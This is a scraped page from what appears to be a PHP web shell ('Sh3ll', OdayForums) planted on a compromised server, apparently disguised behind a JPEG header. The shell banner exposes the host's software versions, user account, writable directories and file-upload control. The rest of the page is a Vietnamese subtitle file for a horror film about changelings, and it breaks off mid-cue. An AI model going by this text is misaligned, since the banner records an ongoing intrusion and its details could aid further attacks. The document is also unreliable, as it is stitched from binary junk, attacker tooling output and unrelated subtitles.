����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/vidoe.top/upload/subtitle/03-2019/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/html/vidoe.top/upload/subtitle/03-2019/5c84ada4783bd-1552199076.vtt
WEBVTT - https://subtitletools.com

00:00:00.000 --> 00:00:10.000
PHỤ ĐỀ BỞI SILVERSCREENJUNKIE

00:00:46.000 --> 00:00:49.958
Sinh vật Thiêng là tên của họ
Và quyền lợi của họ được ban phước.

00:00:50.041 --> 00:00:55.332
Nếu ngươi, kẻ xâm phạm mà mọc rễ
Thì ngươi sẽ thành sinh vật Thiêng.

00:00:55.416 --> 00:01:00.292
Sách về cuộc xâm lược, khoảng năm 1150.

00:02:44.540 --> 00:02:48.690
...những người lo sổ sách kế toán
cho Ireland hoàn toàn không nhìn nhận khu rừng theo cách đó.

00:02:48.790 --> 00:02:52.649
Và tiếp sau đó thì Hy Lạp không phải là
thành viên duy nhất của nhóm Khu vực Châu Âu nghèo...

00:02:52.749 --> 00:02:56.124
cân nhắc bán đi vài phần trong
môi trường tự nhiên của mình để kiếm ít tiền.

00:02:56.249 --> 00:02:59.249
Nhưng chuyện này sẽ biến Ireland
thành nước duy nhất trong thế giới các nước phát triển

00:02:59.373 --> 00:03:01.582
không có rừng được sở hữu công.

00:03:01.707 --> 00:03:04.249
Và dường như là Ireland thậm chí
sẽ không giàu lên nhờ việc đó.

00:03:04.373 --> 00:03:09.291
Vì lý do này mà ta đã hứng chịu một làn sóng biểu tình
ở một cuộc tập hợp công khai mang tên Giải Phóng Cây của Chúng Tôi.

00:03:09.749 --> 00:03:13.540
Lũ kí sinh đó có thể xuất hiện và cố thử
nhưng để tôi nói mọi người nghe một điều chắc chắn

00:03:13.665 --> 00:03:17.540
Phải bước qua xác chúng ta thì
bọn chúng mới lấy được cây của chúng ta!

00:03:22.832 --> 00:03:24.149
Phải.

00:03:24.249 --> 00:03:27.624
Có đủ cây để làm bố bận bịu
tới khi con thành người lớn luôn đấy.

00:03:30.540 --> 00:03:32.373
Bố biết.

00:03:32.498 --> 00:03:34.498
Bố cũng thích thế.

00:04:06.166 --> 00:04:09.166
Nhiều cây phải chặt đổ đấy, Finn.

00:04:09.498 --> 00:04:11.233
Ừ.

00:04:11.332 --> 00:04:13.290
Buồn thật.

00:04:20.124 --> 00:04:23.665
Được rồi.
Ta đưa con về với mẹ nào.

00:04:25.373 --> 00:04:27.041
Iggy!

00:04:52.498 --> 00:04:54.290
Iggy!

00:04:56.916 --> 00:04:59.273
Nè, thôi nào, Finnball.

00:04:59.373 --> 00:05:01.540
Ta đi tìm Iggy thôi.

00:05:03.041 --> 00:05:04.790
Iggy!

00:05:16.290 --> 00:05:17.957
Iggy!

00:05:19.124 --> 00:05:20.916
Iggy!

00:05:22.207 --> 00:05:23.916
Phải.

00:05:32.457 --> 00:05:34.707
Con nghĩ sao về nó, Finn?

00:05:42.707 --> 00:05:44.415
Này.

00:06:05.665 --> 00:06:07.540
Có chuyện gì vậy?

00:06:49.041 --> 00:06:50.457
Đừng nói mẹ nghe nhé.

00:07:48.582 --> 00:07:50.457
Chết tiệt!

00:08:02.624 --> 00:08:05.874
Tôi xin lỗi, ông Donnelly.
Anh ấy không có ở đây.

00:08:10.332 --> 00:08:12.707
Ông có thể vào nhà và chờ
nếu ông muốn.

00:08:13.916 --> 00:08:16.415
Anh ta lại ở trong rừng nữa, phải không?

00:08:24.540 --> 00:08:27.582
- Anh đang đang xâm phạm lãnh thổ.
- Là việc của anh ấy mà, ông Donnelly.

00:08:27.707 --> 00:08:31.248
Nguy hiểm cho anh ta...
và cho đứa bé.

00:08:37.957 --> 00:08:41.624
Tôi rất tiếc. Tôi sẽ đảm bảo việc đầu tiên
chồng mình làm sáng mai là ghé qua nông trại của ông.

00:08:41.749 --> 00:08:43.290
Đêm nay.

00:08:43.415 --> 00:08:45.998
Anh ta tới gặp tôi đêm nay.

00:09:15.957 --> 00:09:19.440
- Chúa ơi! Anh về nhà khi nào vậy?
- Vừa mới vào. Em bế Finn được không?

00:09:19.540 --> 00:09:23.232
- Colm đang ở ngoài đó. Ra nói chuyện với ông ta đi.
- Không, hôm nay thì không.

00:09:23.332 --> 00:09:26.816
Tại sao? Adam, xin anh cứ đi đi,
đãi ông ta nửa lít bia và nghe ông ta nói.

00:09:26.916 --> 00:09:28.732
Đã thử rồi.
Vẫn không thành bạn bè được.

00:09:28.832 --> 00:09:32.040
Là lần thứ 3 từ khi ta chuyển tới đây.
Ông ta làm em phát khiếp lên đấy.

00:09:32.165 --> 00:09:33.832
Nghe này, chỉ là lời nói thôi.

00:09:33.957 --> 00:09:37.540
Ông ta không vui vì họ sắp bán khu rừng,
anh cũng thế.

00:09:38.582 --> 00:09:40.916
Nhưng anh còn có việc phải làm và
ông ta sẽ phải đối mặt với chuyện đó.

00:09:41.040 --> 00:09:45.040
- Giờ thì anh không thể làm việc của mình, phải không hả?
- Xin anh đấy, cứ đi nói chuyện với ông ta đi.

00:09:48.415 --> 00:09:50.123
Được rồi.

00:10:09.249 --> 00:10:11.374
Mày đã tìm thấy gì vậy hả Iggs?

00:10:18.998 --> 00:10:22.874
Thôi nào cưng.
Thôi nào.

00:11:49.582 --> 00:11:51.249
Adam?

00:11:51.749 --> 00:11:54.790
Adam! Trần nhà sắp sập rồi.

00:11:54.915 --> 00:11:56.624
Thật à?

00:11:56.749 --> 00:12:00.165
Đúng đó, Adam. Bùn đen cổ
500 tuổi của Ireland...

00:12:00.290 --> 00:12:02.624
...đang nhễu khắp giường của Finn.

00:12:05.374 --> 00:12:06.940
Em sẽ dời cái nôi.

00:12:07.040 --> 00:12:09.415
Anh kiểm tra gác mái được không?

00:13:15.666 --> 00:13:17.915
Chả thấy gì cả.

00:13:19.040 --> 00:13:20.707
Mọi thứ đều bình thường.

00:13:21.082 --> 00:13:24.998
Chắc chỉ là chỗ ẩm trên trần thôi.
Đây là nhà cũ mà.

00:13:26.165 --> 00:13:29.332
- Em đang nhớ London sao?
- Trời ạ, không phải thế.

00:13:30.915 --> 00:13:32.790
Anh cũng vậy.

00:13:35.666 --> 00:13:38.582
Rượu. Rượu.

00:13:39.541 --> 00:13:41.748
Như là cắm trại nhỉ.

00:13:56.541 --> 00:13:58.999
Anh đã bao giờ cho em xem
một cây nấm Cordycep chưa?

00:13:59.124 --> 00:14:00.665
Chắc là rồi.

00:14:00.790 --> 00:14:04.024
Anh cho em xem nhiều thứ quái lạ khi
anh hút cần.

00:14:04.124 --> 00:14:07.832
Nó như là con ngựa thành Troy
của lũ nấm kí sinh vậy.

00:14:08.665 --> 00:14:10.707
Lại xem cái này đi.

00:14:12.207 --> 00:14:14.040
Người đẹp bé nhỏ này.

00:14:14.165 --> 00:14:18.040
Những bào tử của nó có thể
thâm nhập vào đầu một con kiến...

00:14:18.165 --> 00:14:20.457
..nắm quyền kiểm soát tâm trí của nó.

00:14:21.165 --> 00:14:23.416
Kinh tởm thật.

00:14:23.541 --> 00:14:25.482
Tuyệt vời chứ.

00:14:25.582 --> 00:14:30.207
Nó vào trong tổ, rải những bào tử của mình
ra khắp tổ kiến...

00:14:30.832 --> 00:14:33.815
...tạo ra hàng ngàn...

00:14:33.915 --> 00:14:35.748
...con vật hành động như máy...

00:14:37.249 --> 00:14:40.582
...bị kiểm soát bởi nấm.

00:14:40.707 --> 00:14:42.999
Anh phê quá rồi đấy.

00:14:44.499 --> 00:14:46.623
Lúc anh tìm thấy nó thì không đâu.

00:14:49.957 --> 00:14:51.815
Lúc đó anh không phê.

00:14:51.915 --> 00:14:56.316
- Anh đã ở cùng Finn.
- Được rồi, được rồi, Tiến sĩ Attenborough.

00:14:56.416 --> 00:14:59.249
Chỉ xin đừng mang bất cứ
thứ gì trong số chúng vào đây.

00:15:01.873 --> 00:15:04.082
Mà đương nhiên là anh đã làm rồi.

00:15:14.999 --> 00:15:17.999
Mấy con kiến đó thực sự
làm anh hứng lên à, phải không?

00:15:20.957 --> 00:15:24.040
- Em cần làm ráo món Pasta.
- Anh biết.

00:15:26.165 --> 00:15:29.416
Phải chăng đó là lý do
anh dẫm lên chân em?

00:15:51.748 --> 00:15:55.957
Thật đấy. Thực sự em cần...em cần
đi lấy Pasta bây giờ. Em cần làm thế.

00:16:24.457 --> 00:16:27.790
Đừng nhìn em bằng ánh mắt đáng sợ đó,
Người Kiến.

00:16:28.166 --> 00:16:30.815
Em nhớ lại lúc anh còn ở trường.

00:16:30.915 --> 00:16:34.623
Mấy cô nàng tội nghiệp.
Mang cho em cái ấm đi, làm ơn?

00:16:41.957 --> 00:16:43.748
Chỉ là giấc mơ của em bé thôi.

00:17:07.748 --> 00:17:09.582
Được rồi.

00:17:11.582 --> 00:17:13.291
Colm.

00:17:13.665 --> 00:17:16.957
- Không sao rồi. Không sao.
- Là Colm.

00:17:19.540 --> 00:17:22.332
Cưng à, không sao cả. Không...

00:17:42.790 --> 00:17:44.207
Đúng vậy, thưa anh cảnh sát.

00:17:49.540 --> 00:17:52.207
Chà, cửa sổ của anh rõ ràng đã vỡ.

00:17:52.332 --> 00:17:54.207
...nhưng khung cửa trông có vẻ nguyên vẹn.

00:17:54.332 --> 00:17:56.732
Tôi hiểu là chuyện thế này
có thể làm người ta khá hoảng...

00:17:56.832 --> 00:17:59.399
...đặc biệt là khi chúng
xảy ra lúc nửa đêm.

00:17:59.498 --> 00:18:01.732
Nhưng tôi sẽ không quá lo về chuyện đó đâu,
chắc chỉ là con chim nào đó...

00:18:01.832 --> 00:18:03.749
...đã nhúng mỏ quá nhiều vào bia mà thôi.

00:18:03.915 --> 00:18:05.832
Làm sao một con chim quăng cái đèn được?

00:18:06.332 --> 00:18:08.040
Thì...

00:18:09.457 --> 00:18:12.024
...thì thấy một vật lấp lánh qua cửa sổ...

00:18:12.124 --> 00:18:14.274
...bay vào, bị thương,
bay vòng quanh phòng...

00:18:14.374 --> 00:18:17.166
..hất đổ một cái đèn.
Chuyện xảy ra suốt ấy mà.

00:18:17.291 --> 00:18:19.149
- Thật vậy à?
- Ừ.

00:18:19.249 --> 00:18:23.207
Anh Hitchen, đây không phải là London.
Ở đây ban đêm có nhiều thứ bí ẩn và đáng sợ.

00:18:23.832 --> 00:18:26.874
Nghe này, từ đó giờ chúng tôi đã không
được chào đón nồng hậu ở đây.

00:18:26.999 --> 00:18:28.440
- Hàng xóm của chúng tôi..
- Colm à?

00:18:28.540 --> 00:18:30.649
- Phải, là Colm.
- Không phải vô cớ đâu.

00:18:30.749 --> 00:18:32.815
Anh biết sao?

00:18:32.915 --> 00:18:36.082
Ai cũng biết. Anh làm mọi người lo lắng khi
anh ở ngoài đó.

00:18:36.207 --> 00:18:38.790
- Đó là nghề của tôi.
- Tôi biết, anh Hitchens.

00:18:38.915 --> 00:18:42.582
- Nhưng những người đó có những niềm tin vững chắc.
- Niềm tin?

00:18:42.874 --> 00:18:48.291
Họ tin rằng khu rừng mà anh đang
dẫm chân mình lên thuộc về những sinh vật Thiêng.

00:18:48.415 --> 00:18:50.941
- Sinh vật Thiêng?
- Những người tốt.

00:18:51.041 --> 00:18:55.957
Tiên, Banshee, Kẻ trộm em bé.

00:18:56.540 --> 00:18:59.815
Anh không ngại nghe chuyện dân gian Ireland,
phải không anh Hitchens?

00:18:59.915 --> 00:19:03.565
Những con người đã bị chinh phạt,
mãi ẩn mình....

00:19:03.665 --> 00:19:08.249
...bị xua đuổi khỏi vùng đất thiêng của họ bởi
những người có lửa và sắt,

00:19:08.999 --> 00:19:11.249
Kể hay đấy.

00:19:11.373 --> 00:19:13.457
Vậy anh là một tín đồ?

00:19:14.207 --> 00:19:17.915
Không, tôi thì không.
Tôi tới từ Belfast.

00:19:18.291 --> 00:19:20.749
Ở trên đó có ông ba bị kiểu khác.

00:19:21.874 --> 00:19:26.333
Nhưng chúng tôi đang đối mặt với những người
rất mê tín ở quanh đây.

00:19:26.874 --> 00:19:28.732
Đặc biệt là ông Donnelly.

00:19:28.832 --> 00:19:31.124
Anh biết không, Dora,
cô con gái bé xinh của ông ta.

00:19:31.249 --> 00:19:33.790
Có một ngày cô bé lang thang vào rừng.

00:19:34.582 --> 00:19:36.707
Cô bé không bao giờ trở lại.

00:19:37.623 --> 00:19:40.373
Và ông ta sẽ buộc anh tin là
chúng đã bắt con bé.

00:20:04.582 --> 00:20:06.649
Anh xin lỗi.

00:20:06.749 --> 00:20:08.790
Lẽ ra cứ...

00:20:09.249 --> 00:20:11.498
...đi và nói chuyện với Colm.

00:20:12.540 --> 00:20:15.290
- Anh thực sự nghĩ...
- Nếu không thì là gì?

00:20:15.749 --> 00:20:17.999
Một con chim bị xỉn?

00:20:19.166 --> 00:20:21.041
Hay là...

00:20:22.582 --> 00:20:24.665
Một sinh vật Thiêng?

00:20:28.999 --> 00:20:31.749
Ông ta chỉ cố dọa ta sợ thôi,
tất cả chỉ có thế.

00:20:38.916 --> 00:20:41.082
Em nên ngủ đi.

00:20:42.207 --> 00:20:43.707
Anh sẽ quay lại ngay.

00:20:44.790 --> 00:20:48.582
- Anh định đi đâu?
- Chỉ đi chụp vài bức ảnh thôi.

00:20:49.166 --> 00:20:51.041
Để làm bằng chứng.

00:22:01.999 --> 00:22:03.582
Iggs?

00:22:05.207 --> 00:22:06.957
Iggy?

00:22:07.957 --> 00:22:10.041
Lại đây. Iggs.

00:22:30.790 --> 00:22:33.082
Có vấn đề gì sao, Iggs?

00:24:21.165 --> 00:24:23.665
Adam, anh yêu à.

00:24:26.707 --> 00:24:29.540
- Trưa rồi đấy.
- Chết tiệt.

00:24:31.707 --> 00:24:33.582
Anh ngủ quên.

00:24:38.248 --> 00:24:40.691
Anh sẽ đem cửa đi sửa lại.

00:24:40.791 --> 00:24:42.374
Còn Colm thì sao?

00:24:43.248 --> 00:24:46.624
Được. Anh sẽ gặp ông ta tối nay.
Hứa đấy.

00:27:10.499 --> 00:27:14.415
Phải ra đằng đó rồi, con ở đây nhé.

00:27:30.833 --> 00:27:33.207
Chúng tôi gặp sự cố.

00:27:33.666 --> 00:27:37.873
Cảnh sát cho là một con chim đang bực
nhầm lẫn nhà tôi với tổ của nó.

00:27:38.499 --> 00:27:42.165
- Anh là chuyên gia về cây đúng không?
- Không hẳn, nhưng đúng là thế.

00:27:44.791 --> 00:27:47.290
Nếu anh xâm phạm lãnh địa của họ...

00:27:47.791 --> 00:27:50.441
- Họ sẽ xâm phạm nhà của anh.
- Chuyện đó có thật không?

00:27:50.541 --> 00:27:52.107
Nghe này, tôi sẽ sửa cái này...

00:27:52.207 --> 00:27:56.082
...nhưng nếu vợ anh không
gắn sắt lên đó lại thì chả có ý nghĩa gì đâu.

00:28:31.082 --> 00:28:33.165
Cô không nghe lời tôi.

00:28:37.873 --> 00:28:40.165
Cô nghĩ tôi điên chắc?

00:28:49.915 --> 00:28:52.541
Xin ông đấy. Làm ơn...

00:29:49.207 --> 00:29:52.374
Thôi nà, Finn.
Ta sắp về nhà rồi.

00:29:58.666 --> 00:30:00.666
Đi nào.

00:30:49.541 --> 00:30:53.416
Finn. Thôi nào, anh bạn,
Không sao đâu.

00:30:54.665 --> 00:30:56.374
Địt!

00:31:07.457 --> 00:31:09.707
Quay lại ngay thôi.

00:32:58.874 --> 00:33:00.748
Finn? Finn!

00:33:17.499 --> 00:33:19.291
Finn?

00:33:37.332 --> 00:33:39.540
Ổn cả rồi, Finn.

00:33:46.790 --> 00:33:48.498
Nè.

00:33:48.832 --> 00:33:51.540
Thôi nào. Thôi nào.

00:33:53.957 --> 00:33:55.832
Không sao rồi.

00:34:04.166 --> 00:34:05.999
Ôi Trời...

00:34:28.332 --> 00:34:29.899
Đi nào.

00:34:29.999 --> 00:34:31.957
Bé ngoan.

00:34:54.957 --> 00:34:57.749
- Claire?
- Trong đây

00:34:58.041 --> 00:35:00.957
- Anh đã ở đâu?
- Anh đã đi bộ

00:35:01.082 --> 00:35:04.941
- Anh không sao chứ?
- Em đã cố gọi cho anh. Colm đã tới đây.

00:35:05.041 --> 00:35:06.957
Trong nhà sao?

00:35:07.082 --> 00:35:10.066
Đưa Finn lên lầu. Gọi cảnh sát đi.

00:35:10.166 --> 00:35:12.415
Adam, chuyện gì đang xảy ra vậy?

00:35:13.540 --> 00:35:16.457
- Trả lời em đi.
- Cứ gọi cảnh sát đi.

00:35:21.749 --> 00:35:23.498
Adam?

00:35:26.832 --> 00:35:28.457
Anh biết dùng thứ đó không?

00:35:28.582 --> 00:35:31.457
- Không quan trọng.
- Không, làm thế không đúng.

00:35:31.790 --> 00:35:33.707
Chỉ phòng hờ thôi.

00:35:33.832 --> 00:35:36.207
Cho tới khi cảnh sát tới.

00:36:29.249 --> 00:36:32.041
Ở yên đây. Khóa cửa lại.

00:36:40.041 --> 00:36:43.540
Không sao đâu.
Không sao đâu.

00:37:02.624 --> 00:37:04.916
Cảnh sát đang tới!

00:37:26.665 --> 00:37:28.373
Colm.

00:37:29.665 --> 00:37:32.166
Bất cứ chuyện gì xảy ra với con gái ông...

00:37:32.332 --> 00:37:34.498
...đều không liên quan tới chúng tôi.

00:38:19.832 --> 00:38:21.582
Adam?

00:38:33.332 --> 00:38:34.749
Adam?

00:38:41.790 --> 00:38:44.108
Adam, anh có ổn không?

00:38:44.207 --> 00:38:47.874
Không. Không, anh không ổn.

00:38:49.624 --> 00:38:52.332
Hắn ta đã vào nhà chúng ta.

00:38:53.166 --> 00:38:54.957
Hắn ta đã vào tổ ấm của chúng ta.

00:39:10.707 --> 00:39:13.207
Dừng lại! Adam, thôi đi!

00:39:13.665 --> 00:39:15.624
Đừng mất lí trí.

00:39:17.749 --> 00:39:19.791
Này, này, này...

00:39:33.665 --> 00:39:35.440
Điều này...

00:39:35.540 --> 00:39:38.665
- Điều này là không đúng.
- Anh biết.

00:39:39.207 --> 00:39:43.624
- Ta chỉ càn đi khỏi đây thôi.
- Ta sẽ đéo đi đâu hết.

00:39:44.123 --> 00:39:48.373
Ta đã ở đây được một tháng rồi.
Ta chưa làm ai phiền hà.

00:39:48.499 --> 00:39:50.582
Anh sẽ không bị
người đàn ông đó làm cho sợ!

00:39:50.707 --> 00:39:54.248
Adam, cứ bình tĩnh.

00:40:06.499 --> 00:40:08.540
Cái gì đây?

00:40:08.957 --> 00:40:11.332
Colm mang nó sang.

00:40:34.248 --> 00:40:36.749
Cuốn sách toàn chuyện cổ tích chết tiệt.

00:40:36.874 --> 00:40:39.315
Ta cần đi ngay bây giờ.

00:40:39.415 --> 00:40:41.123
Được.

00:40:42.123 --> 00:40:44.457
Lấy túi của Finn đi.

00:40:45.582 --> 00:40:47.332
Anh xin lỗi, Claire.

00:40:59.165 --> 00:41:00.916
Iggy!

00:41:06.540 --> 00:41:08.315
Iggy!

00:41:08.415 --> 00:41:09.999
Ở yên đây, Claire.

00:41:28.707 --> 00:41:30.457
Iggs.

00:41:32.290 --> 00:41:33.916
Iggs.

00:41:42.832 --> 00:41:44.624
Iggy.

00:41:56.791 --> 00:42:00.707
Ôi Chúa ơi, Igss.
Chúng đã làm gì mày?

00:42:01.165 --> 00:42:03.415
Nhanh nào. Đi thôi.

00:42:18.958 --> 00:42:20.749
Iggs.

00:42:22.791 --> 00:42:24.374
Iggy.

00:42:32.791 --> 00:42:35.874
- Iggy! Quay lại đây.
- Iggy!

00:42:45.582 --> 00:42:49.190
- Lũ khốn nạn! Lũ khốn nạn.
- Thôi nào. Adam, thôi mà.

00:42:49.290 --> 00:42:51.165
Lũ hèn hạ.

00:43:05.415 --> 00:43:07.666
Claire, cầm cái túi.

00:43:15.707 --> 00:43:18.123
- Anh sẵn sàng chưa?
- Chưa, đợi đã.

00:43:19.123 --> 00:43:20.915
Nhanh lên.

00:43:21.040 --> 00:43:22.915
Được rồi, ngay bây giờ.

00:43:30.582 --> 00:43:32.666
Không được.

00:43:36.415 --> 00:43:38.457
Được rồi, đạp lần nữa đi.

00:43:47.165 --> 00:43:48.541
- Adam!
- Chờ đã!

00:43:48.666 --> 00:43:50.399
Nhanh lên, Adam!
Có thứ gì đó ở đằng sau!

00:43:50.499 --> 00:43:52.165
Làm đi, ngay bây giờ.

00:43:58.998 --> 00:44:01.249
Nào, nhanh lên, Adam!
Nhanh lên!

00:44:06.915 --> 00:44:09.833
Vào đi, vào đi, vào đi.

00:44:11.207 --> 00:44:13.982
Vào đi, vào đi, vào đi!

00:44:14.082 --> 00:44:15.915
Vào đi!

00:44:18.290 --> 00:44:20.082
Xin lỗi!

00:44:21.415 --> 00:44:24.541
Adam, vào đi!
Vào đi, vào đi, vào đi!

00:44:25.582 --> 00:44:27.040
Đi!

00:44:30.249 --> 00:44:33.415
- Tới đường lộ đi, Claire!
- Đang tới đây, đang tới đây!

00:44:39.207 --> 00:44:40.998
Đi thôi.

00:44:45.249 --> 00:44:47.541
Con có sao không?
Nó có sao không?

00:45:16.249 --> 00:45:19.624
Claire, em ổn cả chứ?

00:45:20.998 --> 00:45:22.416
Finn.

00:45:29.957 --> 00:45:31.541
Cẩn thận.

00:45:33.666 --> 00:45:36.207
- Không sao rồi. Nó không sao.
- Finn?

00:45:36.332 --> 00:45:38.207
Nó không sao!

00:45:42.915 --> 00:45:45.749
Nhanh lên, Nhanh lên.
Nhanh lên, nhanh lên.

00:46:00.998 --> 00:46:02.790
Claire.

00:46:03.499 --> 00:46:04.982
- Làm ơn nghe anh, được chứ?
- Cái gì?

00:46:05.082 --> 00:46:07.482
- Claire.
- Adam, sao?

00:46:07.582 --> 00:46:10.290
- Đó là...là...
- Thôi đi. Thôi đi. Đừng ráng nữa.

00:46:10.582 --> 00:46:13.666
Chúng ta đã thấy cùng một thứ.
Những sinh vật Thiêng.

00:46:14.290 --> 00:46:16.207
Là thật.

00:46:40.499 --> 00:46:43.065
Chúa ơi! Mẹ kiếp nó!

00:46:43.165 --> 00:46:46.416
- Cho em xem, cho em xem, cho em xem.
- Có gì đó trong mắt anh.

00:47:23.124 --> 00:47:25.165
Lấy cái đèn khác!

00:47:26.332 --> 00:47:29.815
Lên lầu. Nhanh lên. Lên lầu.

00:47:29.915 --> 00:47:31.332
Ngay bây giờ!

00:47:37.207 --> 00:47:39.457
Coi chừng, Claire.

00:47:42.748 --> 00:47:44.790
Lên trên đó.

00:47:45.416 --> 00:47:48.624
Cầm cái này.
Trốn trên đó, Claire.

00:47:49.040 --> 00:47:52.232
- Tại sao?
- Nếu ánh sáng làm nó đau đớn, thì anh phải ra ngoài.

00:47:52.332 --> 00:47:54.707
Anh phải khởi động máy phát điện.

00:47:54.832 --> 00:47:56.748
Lên lầu ngay đi.

00:50:01.623 --> 00:50:03.374
Cưng à, không sao đâu.

00:50:24.249 --> 00:50:27.291
Adam ơi? Adam?

00:50:27.957 --> 00:50:30.416
- Claire?
- Adam.

00:50:36.291 --> 00:50:38.082
Claire?

00:50:57.665 --> 00:50:59.707
Ổn rồi, Finnball.

00:51:00.790 --> 00:51:02.249
Ổn rồi.

00:53:49.415 --> 00:53:50.957
Adam?

00:54:19.624 --> 00:54:22.248
Không, không!

00:54:43.665 --> 00:54:45.790
Lũ khốn nạn.

00:55:07.499 --> 00:55:11.166
- Anh có sao không?
- Anh không sao. Ổn cả.

00:55:19.624 --> 00:55:21.540
Ổn rồi.

00:55:22.665 --> 00:55:25.082
Anh sẽ cần em giúp làm mấy thứ này.

00:55:33.415 --> 00:55:35.415
Sắt và lửa.

00:55:35.540 --> 00:55:37.874
Đó là những gì mà viên cảnh sát đã nói.

00:55:39.373 --> 00:55:42.124
Claire, em để nó ngang qua giữa được không?

00:55:42.624 --> 00:55:45.332
Cứ giữ thế. Được rồi.

00:55:49.165 --> 00:55:52.499
- Treo những cái này lên.
- Làm sao anh biết sẽ có tác dụng?

00:55:52.749 --> 00:55:54.041
Anh chắc chắn.

00:56:45.791 --> 00:56:47.582
- Được chưa nào?
- Anh đang làm gì thế?

00:56:47.707 --> 00:56:49.957
Thế này không an toàn cho nó.

00:56:53.248 --> 00:56:55.607
- Anh không...không thể để nó trong đó được.
- Thế ở chỗ nào nữa?

00:56:55.707 --> 00:56:57.565
Cạnh chúng ta.

00:56:57.665 --> 00:56:59.457
Claire...

00:56:59.582 --> 00:57:01.774
...máy phát điện sẽ tắt.

00:57:01.874 --> 00:57:05.290
Khi nó tắt, ở trong đó
thằng bé sẽ an toàn hơn là ở với chúng ta.

00:57:05.665 --> 00:57:07.540
Anh hứa đấy.

00:57:07.832 --> 00:57:10.499
Nếu nó khóc quá,
ta sẽ đưa nó ra.

00:57:10.624 --> 00:57:12.374
Được chứ?

00:57:23.874 --> 00:57:26.123
Chỉ tới khi bình mình thôi.

00:57:27.248 --> 00:57:28.916
Nghe đi.

00:57:30.916 --> 00:57:32.665
Nghe đi.

00:57:33.457 --> 00:57:36.065
Thấy chưa?
Ổn mà.

00:57:36.165 --> 00:57:37.916
Được rồi.

00:58:33.958 --> 00:58:36.290
"Sinh vật Thiêng là tên của Người

00:58:36.582 --> 00:58:39.707
"Quyền của Người được ban phước.

00:58:41.374 --> 00:58:45.732
"Nếu ngươi, kẻ xâm phạm, mà mọc rễ...

00:58:45.832 --> 00:58:49.874
"thì ngươi sẽ thành sinh vật Thiêng."

00:58:52.123 --> 00:58:53.916
Adam?

00:59:07.540 --> 00:59:09.374
"Đứa trẻ bị đánh tráo."

00:59:10.998 --> 00:59:12.415
Adam?

00:59:18.874 --> 00:59:21.357
- Đi kiểm tra Finn đây.
- Đừng. Em sẽ đánh thức nó mất.

00:59:21.457 --> 00:59:23.832
Em không quan tâm.
Em muốn thấy nó.

00:59:23.957 --> 00:59:25.582
Em có máy theo dõi rồi mà.

00:59:25.707 --> 00:59:28.165
Cứ nghe đi.
Nó ổn mà.

00:59:32.749 --> 00:59:34.415
Thấy chưa?

00:59:34.540 --> 00:59:35.957
Nó ngủ say rồi.

01:00:33.499 --> 01:00:35.998
Chào con, Finnball.

01:00:41.415 --> 01:00:43.123
Adam...

01:00:45.998 --> 01:00:48.998
Không! Không, không, không, không!
Adam!

01:00:50.541 --> 01:00:52.873
Nó bắt thằng bé đi rồi.

01:00:53.290 --> 01:00:54.791
Finn!

01:00:56.707 --> 01:00:59.290
Trả thằng bé lại đây!

01:00:59.998 --> 01:01:01.998
Làm ơn trả nó lại!

01:01:05.582 --> 01:01:07.457
Finn!

01:01:08.165 --> 01:01:10.024
- Finn!
- Ở trong thanh xà! Nó ở trong thanh xà!

01:01:10.124 --> 01:01:11.832
Nó  ở trong thanh xà.

01:01:17.457 --> 01:01:18.957
Không, không!

01:01:19.541 --> 01:01:22.957
- Anh sẽ đánh trúng thằng bé! Anh sẽ đập trúng nó mất!
- Nó đi lên rồi.

01:01:23.541 --> 01:01:26.124
Hãy tìm thằng bé đi. Xin anh đấy.

01:01:33.624 --> 01:01:35.915
Mày đây rồi.

01:01:48.666 --> 01:01:50.374
Adam.

01:01:51.707 --> 01:01:55.290
Adam? Adam? Adam?

01:01:57.499 --> 01:01:59.165
Finn.

01:02:04.873 --> 01:02:08.082
Thôi nào. Nhanh lên. Đúng dậy.

01:02:08.707 --> 01:02:10.707
Đứng dậy đi mà!

01:02:11.290 --> 01:02:14.499
Ôi Chúa ơi! Chúa ơi!
Ôi Chúa ơi!

01:03:29.541 --> 01:03:31.499
Finn!

01:04:10.915 --> 01:04:12.873
Không!

01:05:35.582 --> 01:05:37.457
Đưa cho anh.

01:05:44.207 --> 01:05:46.582
Thằng bé cần được lau khô và thay quần áo.

01:05:54.332 --> 01:05:56.999
Nhanh lên Adam, nó đang lạnh cóng kìa.

01:05:58.623 --> 01:06:00.374
Đây.

01:06:03.374 --> 01:06:05.166
Adam?

01:06:09.832 --> 01:06:13.374
- Nó không phải Finn.
- Anh nói gì cơ?

01:06:20.748 --> 01:06:22.707
Nhìn nó đi.

01:06:25.249 --> 01:06:26.332
Adam?

01:06:28.790 --> 01:06:30.999
Nó là thằng bé được đánh tráo.

01:06:31.124 --> 01:06:32.748
Không.

01:06:35.748 --> 01:06:39.416
Anh cần được giúp đấy.
Ta cần gọi người tới giúp anh.

01:06:40.915 --> 01:06:43.082
Đưa nó cho anh.

01:06:48.748 --> 01:06:50.040
Đưa nó cho anh.

01:06:50.166 --> 01:06:52.498
- Đó là một trò lừa.
- Không.

01:06:53.416 --> 01:06:55.416
Adam, nhìn lại chính anh đi.

01:06:55.540 --> 01:06:58.040
Chúng chui vào đầu anh rồi!
Như lũ kiến ấy!

01:06:58.458 --> 01:07:00.707
Đó không phải là Finn.

01:07:00.915 --> 01:07:01.790
- Chuyện này...
- Nghe đây.

01:07:01.915 --> 01:07:03.790
- Đưa nó cho em.
- Không!

01:07:03.915 --> 01:07:05.358
- Không.
- Đưa nó cho anh!

01:07:05.458 --> 01:07:07.316
Adam!

01:07:07.416 --> 01:07:10.374
Nghe em đây,
chúng vào trong đầu anh rồi.

01:07:35.457 --> 01:07:38.857
Hiện hình đi! Hiện hình đi!

01:07:38.957 --> 01:07:41.207
Hiện hình đi.

01:07:43.707 --> 01:07:45.416
Hiện hình đi.

01:07:59.332 --> 01:08:01.623
Chuyện này đúng là
không kìm lại được.

01:08:04.540 --> 01:08:06.332
Xin anh đấy, Adam.

01:08:17.041 --> 01:08:19.082
Con tao đâu?

01:08:30.915 --> 01:08:32.707
Claire!

01:08:42.124 --> 01:08:44.233
- Claire, chờ đã!
- Không, không, không! Lùi lại!

01:08:44.333 --> 01:08:46.024
